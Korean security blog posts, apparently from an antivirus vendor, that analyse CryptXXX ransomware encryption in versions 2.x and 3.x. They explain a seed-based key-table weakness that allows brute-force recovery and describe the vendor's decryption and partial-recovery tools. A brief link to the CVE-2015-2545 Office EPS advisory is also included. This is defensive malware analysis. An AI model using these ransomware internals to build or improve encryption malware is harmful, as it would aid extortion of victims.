Microsoft Office 잘못된 형식의 EPS 파일 취약성(CVE-2015-2545)(영문)

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2545


신고
Creative Commons License
Creative Commons License
Posted by a0_zest

CryptXXX 랜섬웨어 3.x 버전의 암호화 방식 및 부분 복구툴을 배포하였다. 부분 복구 대상은 텍스트 형식의 파일들로 아래의 25개의 확장자를 갖는다.

JAVA, HTML, CPP, TXT, HTM, PHP, VBS, ASP, PAS, JSP, ASM, XML, DTD, CMD, CSS, SQL, PY, JS, CS, SH, VB, PS, PL, C, H

2차로 MS Office 문서 파일들 중, PPTX, DOCX, XLSX 확장자 파일들에 대한 부분 복구기능을 추가하였다. 이들 3가지 파일들은 Open XML 형식으로 파일 시작부분이 ZIP 압축헤더 형태를 갖는 공통점이 존재한다. 부분 복구툴에서는 3가지 문서 파일들의 데이터 중 일부가 (공개키 암호화로 인해) 손실된 상태에서도 ZIP 압축헤더를 재구성해주는 방식을 통해 일부 데이터를 복구하는 형태로 전용 복구툴을 업데이트 하였다.

 

 

1. 압축 헤더 재구성

아래의 [그림-1]은 원본 PPTX 파일과 부분복구 파일 간의 압축헤더 부분을 비교한 것으로 압축해제를 위해 필요한 부분을 계산하여 최대한 원본과 동일하게 재 구성한다. [그림-1]에서 붉은색, 파란색 표시 부분을 제외하고 원본과 동일하게 생성한 것을 확인할 수 있다.

 

[그림-1] 압축헤더 재구성

 

 

2. 압축 데이터 일부 손상

파일시작 압축헤더 부분(0x40 크기)을 재 구성하여도 아래의 [그림-2]에서처럼 파일 중간에 공개키로 암호화된 영역은 복구가 불가능하여 임의의 값("####...#")으로 채운 것을 확인할 수 있다.

[그림-2] 문서 내 압축 데이터 중 손상 부분

 

 

3. 부분 복구파일 실행

부분 복구된 PPTX 파일을 실행 시, 아래와 같이 내용에 문제가 있어 [복구] 버튼을 클릭하도록 하는 메시지 창을 확인할 수 있다. 이 때, [복구] 버튼을 클릭하면, 읽을 수 없는 내용이 제거되었다는 알림창을 확인할 수 있다. 

[그림-3] 부분 복구파일 실행 시 알림 창

 

아래의 [그림-4]는 이러한 과정을 거쳐 실행된 부분 복구 PPTX 파일과 원본 파일과의 비교를 나타낸 것으로, 전체 슬라이드와 텍스트 내용은 복구되었으나, 내부 이미지가 손상되어 차이가 발생한 것을 확인할 수 있다.

[그림-4] 원본 파일과의 비교

 

PPTX 의 예제와 동일하게 DOCX, XLSX 도 부분 복구한 파일은 데이터 손상으로 인해 정상적으로 문서가 열리지 않거나, 일부 데이터가 제거된 형태로 보여지는 문제를 갖고 있다.

 

 

4. 부분 복구툴

업데이트된 CryptXXX 랜섬웨어 3.x 버전에 대한 부분 복구 툴은 아래의 경로로부터 다운로드 가능하다.

- [다운로드]

 

 

5. 열리지 않는 파일들에 대한 수동조치 방법 (DOCX, XLSX, PPTX)

 

(1) "My Document.docx" 부분 복구파일을 "My Document.docx.zip"으로 파일명 변경.

(2) Zip2Fix 무료 툴을 이용하여 손상되지 않은 파일들 재 압축. (Zip2Fix [다운로드])

(3) "My Document.docx_ZFX.zip" 이름의 파일이 생성 됨.

(4) "My Document.docx_ZFX.zip" 파일을 압축해제.

(5) 압축파일 내용 중, 아래의 경로의 XML 파일을 통해 일부 데이터 확인가능.

 

IE, Chrome 등의 브로우저로 보여지는 문서 내용은 제한적이며, 이 외에 메모장(notepad.exe)을 활용하여 손상된 형태이나 추가 데이터를 확인할 수 있다. "document.xml" 파일에 저장된 워드 문서의 글자정보는 UTF-8 형식으로 인코딩된 형태임으로 메모장에서 파일을 오픈 시, 인코딩 방식을 UTF-8 로 선택하여 "document.xml" 파일을 오픈할 경우, 일부 글자정보를 확인할 수 있다.

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

지난 5 26 CryptXXX 이름의 랜섬웨어 중 2.x 버전에 대한 복구 툴을 배포하였다. 최근에는 복구가 불가능한 버전 3.x의 감염사례가 증가하고 있는 추세이다. 2.x 버전에 대한 복구 툴에서는 3.x 버전으로 암호화된 파일을 진단 시, "CryptXXX 3.x 악성코드에 감염된 파일로 복원이 불가능합니다."라는 메시지 창을 출력하고 있다. (암호화된 파일을 통해 버전을 확인할 수 있음) 현재까지 확인된 3.x 버전은 3.002, 3.100, 3.102, 3.200, 3.205 버전이며, 최근 "CryptXXX 랜섬웨어 한글화 버전발견" 제목으로 기사화된 파일은 3.100 버전에 해당하며, "온라인 커뮤니티의 광고배너를 통해 유포된 파일"은 3.200 버전에 해당한다. 3.100 버전 이후로는 암호화 파일의 확장자가 ".crypt" 가 아닌 ".cryp1", ".crypz형태로 변경되었다. 본 글에서는 현재까지 확인된 CryptXXX 3.x 버전의 공통된 암호화 방식을 설명하고, 텍스트 형식의 일부 파일들에 대해 내용 중 일부가 손상된 형태이지만, 부분적 복구가 가능함을 소개한다.

 

[전용복구툴 업데이트]

- 2016.06.23

3.205 버전에서 암호화 방식은 동일하나 파일 확장자가 5바이트 랜덤형태로 변경되어 전용백신 업데이트 함. (ex) .2DF99, .FF000, ... )

 

1. 암호화 방식의 변화

아래의 [그림-1] CryptXXX 랜섬웨어 2.x 3.x 버전의 암호화 방식의 차이를 나타낸다. 붉은색 블록은 공개키로 암호화된 영역이며, 파란색 블록은 고유한 키 테이블 정보를 통해 암호화(XOR)된 영역을 나타낸다. 2.x 버전의 경우, 원본파일을 암호화할 때는 공개키를 사용하지 않고, 키 테이블 정보만을 공개키로 암호화하는 구조이다. , 키 테이블 정보만 있으면 원본파일과 동일하게 복원이 가능하다.

3.x 버전의 경우, 원본파일을 암호화할 때 일부 블록에 대해 공개키를 사용하는 방식으로 변경되었다. 다행인 것은 공개키 사용 부분이 파일 전체가 아닌 일부 구간으로 제한적이며, 그 외 부분은 2.x와 동일방식으로 암호화를 수행한다는 점이다. , 3.x 버전으로 암호화된 파일이라도 파란색 블록에 해당하는 부분은 복구가 가능하다. (2.x 버전에서 사용한 '복원'이라는 표현대신 '부분 복구'라고 언급한 이유)

[그림-1] 암호화 방식의 변화(2.x VS 3.x)

 

공개키로 암호화된 원본 데이터는 0x40 크기이나 암호화 시점에 0x80으로 크기가 증가하는 구조를 갖는다. 2.x 버전으로 암호화된 경우, 파일크기는 원본파일 크기에서 0x104 바이트가 증가한 형태이나, 3.x 버전으로 암호화된 경우, 증가한 파일의 크기는 다음과 같이 계산할 수 있다.

 

·         암호화 파일크기 = 원본파일 크기 + (공개키로 암호화된 블럭의 개수(N) x 0x40) + 0x118

 

 

2. 비 암호화 영역 백업방식의 변화

2.x 버전과 동일하게 3.x 에서도 원본파일의 크기가 0xD00000 (대략 13M) 보다 큰 영역은 암호화 작업을 수행하지 않는다. 하지만, 2.x 에서는 0xD00000 이후의 데이터가 원본과 동일한 형태인 반면, 3.x 에서는 아래의 [그림-2]와 같이 2가지 블록으로 구분하여 순서가 바뀐 형태로 백업된 것을 알 수 있다. , 원본파일과 동일한 구조를 갖기 위해서는 Offset (A)가 아닌 Offset (B) 영역의 블록이 먼저 복사가 이루어져야 한다. 만약, 원본파일이 0xD19D00 보다 작은 경우에는 2가지 블록으로 구분 없이 기존과 동일한 구조를 갖는다.

 

[그림-2] 비 암호화 영역 백업구조

 

 

3. 부분복구 대상파일

3.x 로 암호화된 파일들은 파일 첫 시작부분이 공개키로 암호화되어 원본파일의 Magic 정보를 유추할 수 없다. , 2.x 버전과 동일한 방식의 키 테이블 정보로 암호화된 영역이라 하더라도 Magic 정보를 알 수 없음으로 복구가 어려운 형태이다. 하지만, 텍스트 형식의 아래의 확장자를 갖는 파일들은 파일시작의 Magic 정보가 없는 형태이나 '알파벳', '한글', '숫자', '기호' 등의 데이터로 채워진 상태를 유효한 복호화 상태로 가정하여 키 테이블을 생성할 경우부분 복구가 가능하다. ( 25개 확장자)

JAVA, HTML, CPP, TXT, HTM, PHP, VBS, ASP, PAS, JSP, ASM, XML, DTD, CMD, CSS, SQL, PY, JS, CS, SH, VB, PS, PL, C, H

아래의 [그림-3] 3.x 버전으로 암호화된 "StdAfxX.cpp" 파일에 대해 부분 복구를 시도한 결과를 나타낸다. 원본 파일과 비교하여, 파일시작 첫 64바이트(0x40)가 다름을 알 수 있으며, 이 부분은 공개키로 암호화되어 복구가 불가능한 영역이다

이 부분은 "################################################################" 값을 삽입하여 사용자가 손상 부분을 쉽게 찾을 수 있도록 하였다. (파일크기가 큰 경우, 손상 부분이 여러개 존재)

[그림-3] 부분복구 후 원본파일과 비교

위 그림에서처럼 부분 복구를 통해 원본파일의 텍스트 데이터 중 일부를 복구할 수 있으나, 공개키로 암호화된 영역은 복구가 불가능하여 복구 툴을 이용하여 최종 복구된 파일이라도 정상적인 사용은 어려운 상태이다. 또한 부분 복구 대상 확장자라 하더라도 아래의 조건에 부합하지 않으면 복구가 실패 혹은 진단하지 못하는 경우가 발생할 수 있다.

 

(조건-1)

암호화된 파일의 최소크기는 472 바이트 이상.

: 공개키 암호화 크기(0x80) + 최소비교문자크기(0x40) + 악성코드 시그니처(0x118) = 0x1D8 (=472)

(조건-2) 

ANSI 형태로 저장된 문서이면서, 특정범위가 "한글/영문/기호/숫자" 데이터로만 채워진 경우.

: 같은 복구대상 확장자라도 UTF-8, UNICODE 등 ANSI가 아닌 형태로 저장된 경우는 부분 복구가 불가능하며, 원본 파일시작 0x40~0x80 범위 내의 데이터는 반드시 "한글/영문/기호/숫자" 형태로만 존재해야 함. (한자, 러시아어, 일본어 등이 존재할 경우 복구불가)

 

 

4. 부분 복구툴

CryptXXX 랜섬웨어 3.x 버전에 대한 부분 복구 툴은 아래의 경로로부터 다운로드 가능하다.

- 다운로드

 

[참고]

- 기존 CryptXXX 2.x 버전에 대한 복구툴과는 별개로 3.x 버전만 진단/복구하는 툴 임.

- 지원하는 CryptXXX 랜섬웨어 버전은 3.002, 3.100, 3.102, 3.200, 3.205 임.

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

정상파일을 ".crypt" 확장자를 부여하여 암호화하는 특징을 갖는 CryptXXX 이름의 랜섬웨어는 현재까지 버전 1.x, 2.x, 3.x 세 가지 형태가 알려져 있다. 본 글에서는 이 중, 2.x 버전의 암호화 방식을 소개하고, 이를 바탕으로 일부 파일에 한해 복구가 가능함을 설명한다.

 

1. 암호화 방식

아래의 [그림-1]은 CryptXXX 에 의해 암호화된 "Photo.jpg.crypt" 파일을 나타낸다. 암호화는 고정크기(0x1FFF)의 블록 단위로 순차적으로 이루어지며, 암호화 최대 크기는 0xD012FE (대략 13M)로 이후의 데이터는 원본파일과 동일하다. (단, 원본파일 끝에 260바이트 크기의 데이터는 삽입)

 

[그림-1] CryptXXX 암호화 방식

 

암호화된 파일은 공통적으로 원본파일과 비교하여 260(=0x104)바이트가 증가한 형태이며, 이는 파일 끝 부분에 삽입된 KeyTable 정보([그림-1]에서 붉은색 블록)로 인한 것이다. 이 KeyTable 정보가 블록 단위의 암호를 복호화하는데 핵심이 되는 데이터로 공개키를 통해 암호화되어 저장된다. 즉, 구조적으로는 해당 공개키에 매칭되는 개인키 정보없이는 해당 KeyTable 정보를 복호화할 수 없고, 파일복구가 불가능하다. 하지만, 해당 KeyTable 정보는 개인키 없이도 원본파일 시작부분 일부 데이터(예를들면 파일포멧 별 Magic 정보)만 알 수 있다면 유추할 수 있는 취약성이 존재한다.

- PDF 파일의 Magic: "%PDF" (파일시작 첫 4바이트)
- DOC, PPT, XLS 파일의 Magic: "D0CF11E0" (파일시작 첫 4바이트)

 

2. KeyTable 생성방식과 취약성

아래의 [그림-2]는 파일 끝에 삽입된 0x104 바이트 크기의 KeyTable 이 생성되는 과정을 나타내며, 노란색 부분이 공개키로 암호화된 KeyTable_A[0x40] 이며, CryptEncrypt() API를 통해 공개키로 암호화 시 원본 0x40 크기의 데이터가 최종 0x80 크기로 증가된다.

 

[그림-2] 키 테이블 생성과정

 

[그림-2]에서 언급된 암호화에 사용되는 핵심 정보 3가지는 "4바이트 SEED 값", "KeyTable_A[0x40]", KeyTable_B[0x100] 이며, 최초 4바이트 크기의 SEED 값으로 부터 이후 정보들이 순차적으로 만들어지는 구조를 갖는다. 키 생성과정의 최 상위에 위치하는 SEED 값은 감염시점의 시스템시간(SystemTime) 정보 중, 시(wHour), 분(wMinute), 초(wSecond), 밀리초(wMillisecond) 를 이용하여 얻어지며, 이 SEED 값으로부터 0x40 크기의 KeyTable_A[0x40] 데이터가 생성된다. 바로 이 부분에서 제작자가 의도하지 않은(?) 취약성이 존재하며, SEED 값이 동일하면 매번 동일한 KeyTable_A[0x40] 가 생성되는 구조를 갖는다. 최종 블록 단위의 암호화에 사용되는 KeyTable_B[0x100]의 데이터와 원본파일로 부터 읽은 블록과의 XOR를 통해 암호화가 수행된다. 

즉, SEED 값이 동일하면, 매번 생성되는 최종 키 테이블정보가 동일한 점과 암호화 방식이 XOR라는 2가지 포인트를 바탕으로 복구대상 파일의 고정적 Magic 정보가 존재한다면, 역으로 키를 유추할 수 있는 구조이다. 아래의 [그림-3]은 SEED 값이 0x02978CAC 일 때, 생성되는 키 테이블 A,B의 예를 나타낸다.

 

[그림-3] 키 테이블 A,B 예제

 

KeyTable_A[0x40] 데이터가 생성되는 방식은 아래의 2가지 기본 테이블 중, Delphi Random 함수를 통해 얻은 랜덤값을 바탕으로 하나의 값이 선택되어 구성되는 구조를 갖는다.

(1) "QWERTYUIOPASDFGHJKLZXCVBNM<>:\?!@$%^&*()_+~|"
(2) "qwertyuiop[]asdfghjkl;zxcvbnm,./`1234567890-="

CryptXXX 는 총 2번의 Delphi Random 함수를 사용하여 아래의 Index(A)와 Index(B)를 얻게되고, Index(A)는 위 기본 테이블 중 하나를 선택하기 위한 목적으로, Index(B)는 선택된 테이블의 데이터 중 하나를 선택하기 위한 목적으로 사용된다.

Index(A): DelphiRandom(3) - 0 ~ 2 범위의 랜덤 값 생성 (0, 2인 경우 -> (1)번, 1인 경우 -> (2)번)
Index(B): DelphiRandom(44) - 0 ~ 43 범위의 랜덤 값 생성

예를 들어 Index(A) == 0 이고, Index(B) == 3이면, ‘R’ 문자열이 선택된다.

 

3. 키 테이블 생성함수

CryptXXX 랜섬웨어에서 파일 암호화 시 사용되는 핵심 정보 3가지 별 생성함수는 다음과 같다.

 

(1) SEED 값 생성

아래의 [그림-4]는 SystemTime 정보를 통해 4바이트 크기의 SEED 값을 생성하는 함수를 나타낸다. 시스템시간 정보는 SEED 값 생성에 가장 중요한 정보로 암호화된 파일의 수정시간을 통해 유추할 수 있으나, CryptXXX 는 암호화 수행 전 해당 파일의 시간정보를 저장(GetFileTime)해둔 후, 암호화 완료 후 원래의 시간정보로 재 설정(SetFileTime)하는 기능으로 인해 유추가 불가능하다.

[그림-4] SEED 값 생성함수

 

(2) 키 테이블(A) 생성

아래의 [그림-5]는 SEED 값을 바탕으로 0x40 크기의 키 테이블을 생성하는 함수이며, do-while 문을 통해 1바이트 씩 생성되는 데이터가 SEED 값이 동일하면 동일형태로 생성되는 취약성이 존재하는 부분이다.

[그림-5] 키 테이블(A) 생성함수

 

(3) 키 테이블(B) 생성

아래의 [그림-6]은 키 테이블(A)로 부터 0x100 크기의 최종 키 테이블(B)가 생성되는 함수를 나타낸다. 이 키 테이블 정보는 1바이트 단위의 블록단위의 암호화 시 XOR 키 값으로 사용된다.

[그림-6] 키 테이블(B) 생성함수

 

4. 복구방식

시, 분, 초, 밀리초 정보를 통해 계산되는 SEED 값의 범위는 다음과 같다.

- 최소값: 00:00:00:0000 -> 0, 최대값: 23:59:59:999 -> 0x5265BFF

사용자 마다 그리고 암호화된 파일마다 서로 다른 SEED 값을 유추하기 위해 0 ~ 0x5265BFF 범위의 SEED 를 순차적으로 선택하며, 이를 바탕으로 암호화에 사용된 키 테이블을 생성 및 복호화를 시도한다. 첫 번째 블록에 대한 복호화를 통해 파일의 고유한 Magic 정보가 확인되면, 유효한 SEED 값으로 판단하고 전체 파일에 대한 블록 단위의 복구를 시도한다. 우선 첫 번째 파일이 복구에 성공하면, 두 번째 파일부터는 SEED의 범위를 제한하여 좀 더 빠른 복구가 가능하도록 하였다. 이러한 설정은 복구대상 파일들이 동일 시간대에 감염된 형태가 대부분일 것으로 가정하여 이루어진 것으로 복구대상 파일들이 서로 다른 시스템에서 다른 시간대에 수집된 형태의 경우, 복구시간이 더 오래 걸리는 특징을 갖는다.

아래의 [그림-7]은 CryptXXX 복구툴에서 파일복구을 위해 이루어지는 과정을 나타낸 것으로 구조상 첫번째 파일을 복구하는데 오랜 시간이 소요되며, 이후 파일부터는 빠르게 복구가 가능하다.

 

[그림-7] 복구툴 동작방식

 

5. 복구대상 리스트

복구툴을 통해 복구가능한 CryptXXX 버전은 2.x 로 제한적이며, 우선 아래의 확장자들에 대해 복구가 가능하도록 제작되었다. 하지만, 이 외에도 원본파일의 고유한 Magic 정보만 알 수 있다면, 복구가 가능한 구조이므로 추후 복구대상이 추가될 수 있다.

CHM, AI, HWP, PDB, PDF, RTF, HTM, HTML, PHP, XML, DWG, PS, WSF, KEY, CSR, CRT, WAV, MP3, OGG, WMA, WMV, AVI, ASF, MP4, MOV, MID, MPG, FLV, PNG, GIF, BMP, TIF, JPG, JPEG, ZIP, RAR, BZ2, 7Z, GZ, JAR, APK, TGZ, ODS, DOC, DOT, PPT, POT, PPS, XLS, XLT, DOCX, DOCM, DOTX, DOTM, PPTX, PPTM, POTM, POTX, PPSM, XLSX, XLSB, XLSM, XLTM, XLTX, EPS, ISO, SQLITE3, MDB, MSI, APP, FDB, ACCDB, SLN, CLASS, VCXPROJ

(단, 위 명시된 확장자들 중, 파일시작 부분이 고유한 Magic 정보를 갖지않는 파일들(HTM, HTML, XML, PHP 등)은 현재 일부 태그(<html, <?xml, <?php 등)만을 Magic 정보로 추가한 상태이다. 즉, 암호화된 파일이 해당 태그로 시작하지 않는 경우, 복구하지 못함)

 

[추가 복구대상]

- *.M4A 확장자 추가 - 전용 복구툴 업데이트(2016.06.01)

 

6. 복구툴 경로

CryptXXX 랜섬웨어 2.x 버전에 대한 복구툴은 아래의 경로로 부터 다운로드 가능하다.

https://www.ahnlab.com/kr/site/download/product/productVaccineView.do?seq=118


복구툴에 의해 진단되었으나 치료버튼 클릭 시, 아래와 같이 "복원 실패"로 처리된 파일들의 유형은 다음의 2가지 경우에 해당한다.

전용 복구툴 실행화면

 

유형-1) 감염시점이 복구된 파일들과 다른 경우: 재 검사/치료 시 복원 가능

유형-2) Magic 값을 찾지못한 경우: 새로운 Magic 패턴 추가필요 (대부분 HTML, PHP, XML 등의 경우에 해당)

 

7. CryptXXX 3.x 버전

CryptXXX 랜섬웨어 3.x 버전은 원본 파일을 암호화 시, 키 테이블을 이용한 XOR 방식이 아닌 공개키를 사용하는 것으로 확인되어 복구가 불가능한 구조를 갖습니다. 전용 복구툴을 통해 3.x 버전에 감염된 파일을 진단 시, 아래와 같은 메시지 창을 확인할 수 있습니다.

 

3.x 버전에 대한 복원 불가 메시지

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung